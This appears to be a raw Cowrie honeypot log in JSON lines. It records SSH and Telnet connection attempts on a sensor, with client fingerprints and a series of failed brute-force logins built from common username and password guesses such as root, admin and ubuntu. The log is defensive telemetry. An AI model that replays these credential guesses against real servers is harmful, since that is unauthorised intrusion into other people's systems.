{"eventid":"cowrie.login.failed","username":"root","password":"20101986","message":"login attempt [root/20101986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:49.343922Z","src_ip":"147.45.197.250","session":"f717555dccda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:50.437016Z","src_ip":"147.45.197.250","session":"f717555dccda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":53282,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0f92fc45859","protocol":"ssh","message":"New connection: 87.251.79.125:53282 (159.203.135.109:22) [session: c0f92fc45859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:51.958016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:51.963392Z","src_ip":"87.251.79.125","session":"c0f92fc45859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:52.035753Z","src_ip":"87.251.79.125","session":"c0f92fc45859","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bubble","message":"login attempt [root/bubble] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:52.258455Z","src_ip":"87.251.79.125","session":"c0f92fc45859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:53.332929Z","src_ip":"87.251.79.125","session":"c0f92fc45859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59852,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd65e62a7d9c","protocol":"telnet","message":"New connection: 135.148.14.151:59852 (159.203.135.109:23) [session: bd65e62a7d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:59:58.924560Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34966,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c7566cfe3a4","protocol":"telnet","message":"New connection: 135.148.14.151:34966 (159.203.135.109:23) [session: 9c7566cfe3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:06.263766Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40488,"dst_ip":"159.203.135.109","dst_port":23,"session":"76ad3c311277","protocol":"telnet","message":"New connection: 135.148.14.151:40488 (159.203.135.109:23) [session: 76ad3c311277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:19.566563Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":45172,"dst_ip":"10.17.0.5","dst_port":22,"session":"e597770c5ac4","protocol":"ssh","message":"New connection: 202.51.70.20:45172 (10.17.0.5:22) [session: e597770c5ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:32.843870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:32.848831Z","src_ip":"202.51.70.20","session":"e597770c5ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:33.128253Z","src_ip":"202.51.70.20","session":"e597770c5ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"admin123","message":"login attempt [administrador/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:34.245140Z","src_ip":"202.51.70.20","session":"e597770c5ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":41910,"dst_ip":"10.17.0.5","dst_port":22,"session":"391bb2fc5f6a","protocol":"ssh","message":"New connection: 80.94.92.171:41910 (10.17.0.5:22) [session: 391bb2fc5f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:35.133103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:35.429472Z","src_ip":"80.94.92.171","session":"391bb2fc5f6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:35.433708Z","src_ip":"80.94.92.171","session":"391bb2fc5f6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:35.522490Z","src_ip":"202.51.70.20","session":"e597770c5ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.75223112106323,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:35.676712Z","src_ip":"135.148.14.151","session":"bd65e62a7d9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":58428,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0a504332854","protocol":"ssh","message":"New connection: 103.77.175.15:58428 (159.203.135.109:22) [session: c0a504332854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:36.342670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:36.348213Z","src_ip":"103.77.175.15","session":"c0a504332854","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:36.606785Z","src_ip":"103.77.175.15","session":"c0a504332854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:37.026071Z","src_ip":"80.94.92.171","session":"391bb2fc5f6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01233210","message":"login attempt [root/01233210] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:37.392032Z","src_ip":"103.77.175.15","session":"c0a504332854","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:38.214747Z","src_ip":"80.94.92.171","session":"391bb2fc5f6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:38.653933Z","src_ip":"103.77.175.15","session":"c0a504332854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49980,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4f2c71941c1","protocol":"telnet","message":"New connection: 135.148.14.151:49980 (159.203.135.109:23) [session: a4f2c71941c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:41.987336Z"}
{"eventid":"cowrie.session.closed","duration":36.460326194763184,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:42.723955Z","src_ip":"135.148.14.151","session":"9c7566cfe3a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51286,"dst_ip":"159.203.135.109","dst_port":23,"session":"17941ffca1f0","protocol":"telnet","message":"New connection: 135.148.14.151:51286 (159.203.135.109:23) [session: 17941ffca1f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:51.792361Z"}
{"eventid":"cowrie.session.closed","duration":35.52749300003052,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:00:55.093924Z","src_ip":"135.148.14.151","session":"76ad3c311277","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33262,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c69c733b625","protocol":"telnet","message":"New connection: 135.148.14.151:33262 (159.203.135.109:23) [session: 0c69c733b625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:07.615541Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":32132,"dst_ip":"10.17.0.5","dst_port":22,"session":"382cc5e1599e","protocol":"ssh","message":"New connection: 2.57.121.112:32132 (10.17.0.5:22) [session: 382cc5e1599e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:10.192075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:10.197861Z","src_ip":"2.57.121.112","session":"382cc5e1599e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:10.313112Z","src_ip":"2.57.121.112","session":"382cc5e1599e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03031966","message":"login attempt [admin/03031966] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:10.817511Z","src_ip":"2.57.121.112","session":"382cc5e1599e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030290","message":"login attempt [admin/030290] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:11.929127Z","src_ip":"2.57.121.112","session":"382cc5e1599e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030286","message":"login attempt [admin/030286] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:13.040347Z","src_ip":"2.57.121.112","session":"382cc5e1599e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03021997","message":"login attempt [admin/03021997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:14.150594Z","src_ip":"2.57.121.112","session":"382cc5e1599e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03011975","message":"login attempt [admin/03011975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:15.261678Z","src_ip":"2.57.121.112","session":"382cc5e1599e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:16.373236Z","src_ip":"2.57.121.112","session":"382cc5e1599e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.19114828109741,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:18.178380Z","src_ip":"135.148.14.151","session":"a4f2c71941c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38660,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c31acd048c9","protocol":"telnet","message":"New connection: 135.148.14.151:38660 (159.203.135.109:23) [session: 7c31acd048c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:20.536833Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.38.7","src_port":56738,"dst_ip":"10.17.0.5","dst_port":22,"session":"38a11ee03b75","protocol":"ssh","message":"New connection: 162.243.38.7:56738 (10.17.0.5:22) [session: 38a11ee03b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:25.903997Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:25.909435Z","src_ip":"162.243.38.7","session":"38a11ee03b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:25.917533Z","src_ip":"162.243.38.7","session":"38a11ee03b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.940537214279175,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:26.732790Z","src_ip":"135.148.14.151","session":"17941ffca1f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44814,"dst_ip":"159.203.135.109","dst_port":23,"session":"f21192959806","protocol":"telnet","message":"New connection: 135.148.14.151:44814 (159.203.135.109:23) [session: f21192959806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:34.058879Z"}
{"eventid":"cowrie.session.closed","duration":37.123584508895874,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:44.739192Z","src_ip":"135.148.14.151","session":"0c69c733b625","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.37553405761719,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:56.912250Z","src_ip":"135.148.14.151","session":"7c31acd048c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":58190,"dst_ip":"10.17.0.5","dst_port":22,"session":"f63bb74c22e3","protocol":"ssh","message":"New connection: 202.51.70.20:58190 (10.17.0.5:22) [session: f63bb74c22e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:58.756481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:58.761035Z","src_ip":"202.51.70.20","session":"f63bb74c22e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:01:59.074164Z","src_ip":"202.51.70.20","session":"f63bb74c22e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shalini","password":"shalini123","message":"login attempt [shalini/shalini123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:00.141215Z","src_ip":"202.51.70.20","session":"f63bb74c22e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:01.404587Z","src_ip":"202.51.70.20","session":"f63bb74c22e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.159363746643066,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:02:09.217947Z","src_ip":"135.148.14.151","session":"f21192959806","protocol":"telnet"}
